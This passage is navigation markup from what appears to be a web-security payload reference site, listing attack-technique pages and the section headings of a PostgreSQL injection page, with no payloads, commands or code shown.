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<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
CSRF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
CSRF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSRF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking: Web Application Security Vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Insecure%20Deserialization/YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Kubernetes
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Kubernetes
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Kubernetes/" class="md-nav__link">
<span class="md-ellipsis">
Kubernetes
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
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OAuth Misconfiguration
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Open Redirect
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Open URL Redirection
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Prompt Injection
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Prompt Injection
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Prompt Injection
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Prototype Pollution
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Race Condition
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Request Smuggling
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Request Smuggling
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Request Smuggling
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SAML Injection
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Cassandra Injection
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DB2 Injection
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Hibernate Query Language Injection
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MSSQL Injection
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MySQL Injection
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PostgreSQL injection
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PostgreSQL injection
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Summary
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PostgreSQL Comments
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<li class="md-nav__item">
<a href="#postgresql-chain-injection-points-symbols" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL chain injection points symbols
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-version" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Version
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<span class="md-ellipsis">
PostgreSQL Current User
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</li>
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<a href="#postgresql-list-users" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Users
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-list-password-hashes" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Password Hashes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-list-database-administrator-accounts" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Database Administrator Accounts
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-list-privileges" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Privileges
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-check-if-current-user-is-superuser" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Check if Current User is Superuser
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-database-name" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Database Name
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-list-database" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Database
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-list-tables" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Tables
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-list-columns" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL List Columns
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-error-based" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Error Based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-xml-helpers" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL XML helpers
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-blind" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Blind
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-time-based" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Time Based
</span>
</a>
<nav class="md-nav" aria-label="PostgreSQL Time Based">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#identify-time-based" class="md-nav__link">
<span class="md-ellipsis">
Identify time based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#database-dump-time-based" class="md-nav__link">
<span class="md-ellipsis">
Database dump time based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#table-dump-time-based" class="md-nav__link">
<span class="md-ellipsis">
Table dump time based
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#columns-dump-time-based" class="md-nav__link">
<span class="md-ellipsis">
columns dump time based
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#postgresql-stacked-query" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Stacked Query
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-file-read" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL File Read
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-file-write" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL File Write
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#postgresql-command-execution" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Command execution
</span>
</a>
<nav class="md-nav" aria-label="PostgreSQL Command execution">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#cve-20199193" class="md-nav__link">
<span class="md-ellipsis">
CVE-20199193
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#using-libcso6" class="md-nav__link">
<span class="md-ellipsis">
Using libc.so.6
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#bypass-filter" class="md-nav__link">
<span class="md-ellipsis">
Bypass Filter
</span>
</a>
<nav class="md-nav" aria-label="Bypass Filter">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#quotes" class="md-nav__link">
<span class="md-ellipsis">
Quotes
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="../SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
<span class="md-ellipsis">
CVE Ffmpeg HLS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_2">
<span class="md-nav__icon md-icon"></span>
CVE Ffmpeg HLS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
<span class="md-ellipsis">
FFmpeg HLS vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_3">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess upload
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
<span class="md-ellipsis">
Configuration Busybox httpd.conf
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_4">
<span class="md-nav__icon md-icon"></span>
Configuration Busybox httpd.conf
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
